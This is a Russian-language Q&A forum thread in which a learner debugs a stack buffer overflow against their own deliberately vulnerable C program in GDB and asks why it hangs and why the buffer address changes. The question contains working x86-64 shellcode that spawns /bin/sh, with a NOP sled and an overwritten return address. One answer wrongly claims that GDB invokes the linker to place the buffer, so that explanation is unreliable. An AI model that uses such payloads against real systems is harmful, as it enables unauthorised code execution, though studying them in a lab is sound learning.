GDB застрял при попытке запустить эксплойт переполнения буфера - PullRequest
Новая
       33

GDB застрял при попытке запустить эксплойт переполнения буфера

0 голосов
/ 06 октября 2018

Я пытаюсь узнать переполнение буфера, но я оказался в тупике.Когда я хочу выполнить шеллкод GDB просто застрял и не реагировать ни на что (Ctrl-C, Ctrl-D, Enter, Esc), и я должен закрыть терминал и запустить все снова.У меня есть эта уязвимая программа, работающая в 64-битном Linux: 

int main(int argc, char **argv) {
    char buffer[256];
    if (argc != 2) {
        exit(0);
    }
    printf("%p\n", buffer);
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

В gdb: 

$ gcc vuln.c -o vuln -g -z execstack -fno-stack-protector
$ sudo gdb -q vuln
(gdb) list
1   #include <stdio.h>
2   #include <string.h>
3   #include <stdlib.h>
4   
5   int main(int argc, char **argv) {
6       char buffer[256];
7       if (argc != 2) {
8           exit(0);
9       }
10      printf("%p\n", buffer);
(gdb) break 5
Breakpoint 1 at 0x4005de: file vuln.c, line 5.
(gdb) run $(python3 -c 'print("A" * 264 + "B" * 6)')
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("A" * 264 + "B" * 6)')

Breakpoint 1, main (argc=2, argv=0x7fffffffe378) at vuln.c:7
7       if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe190
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) i r
rax            0x0  0
rbx            0x0  0
rcx            0x7ffff7b01ef4   140737348902644
rdx            0x7ffff7dd28c0   140737351854272
rsi            0x602260 6300256
rdi            0x0  0
rbp            0x4141414141414141   0x4141414141414141
rsp            0x7fffffffe2a0   0x7fffffffe2a0
r8             0xfffffffffffffff0   -16
r9             0xffffffffffffff00   -256
r10            0x60236e 6300526
r11            0x246    582
r12            0x4004e0 4195552
r13            0x7fffffffe370   140737488348016
r14            0x0  0
r15            0x0  0
rip            0x424242424242   0x424242424242
(gdb) run $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')

Breakpoint 1, main (argc=2, argv=0x7fffffffe288) at vuln.c:7
7       if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe0a0

После адреса там также напечатан какой-то мусор и как сказал gdb застрял.Даже если я запускаю программу в одном сеансе GDB с этими двумя разными входами, адрес буфера как-то меняется, и я не могу понять, почему.Может кто-нибудь сказать мне, почему GDB застрял и почему адрес меняется?Что я делаю не так?

Ответы [ 2 ]

0 голосов
/ 06 октября 2018

Адрес изменяется, так как указатель стека при вводе main зависит от общей длины аргументов командной строки.Два фрагмента Python генерируют данные различной длины.

0 голосов
/ 06 октября 2018

Каждый раз, когда вы запускаете скомпилированную программу, GDB будет вызывать компоновщик, чтобы выделить место для buffer.Нет никакой гарантии, что он будет каждый раз находиться в одном и том же месте, и GDB может сознательно поместить его в другое место, чтобы разделить разные прогоны.

То, что вы делаете с программой на C, вызывает ошибку, котораязахвачен операционной системой и очищен.Существует огромный разрыв между простым переполнением буфера и возможностью использовать его для запуска команд оболочки.У вас есть код для выполнения первого бита, но вам нужно гораздо больше понимания, чтобы сделать второй бит.

Если вы действительно хотите делать такие вещи, вам придется делать честный битбольше читать, чтобы понять, что происходит и что вы можете сделать.

...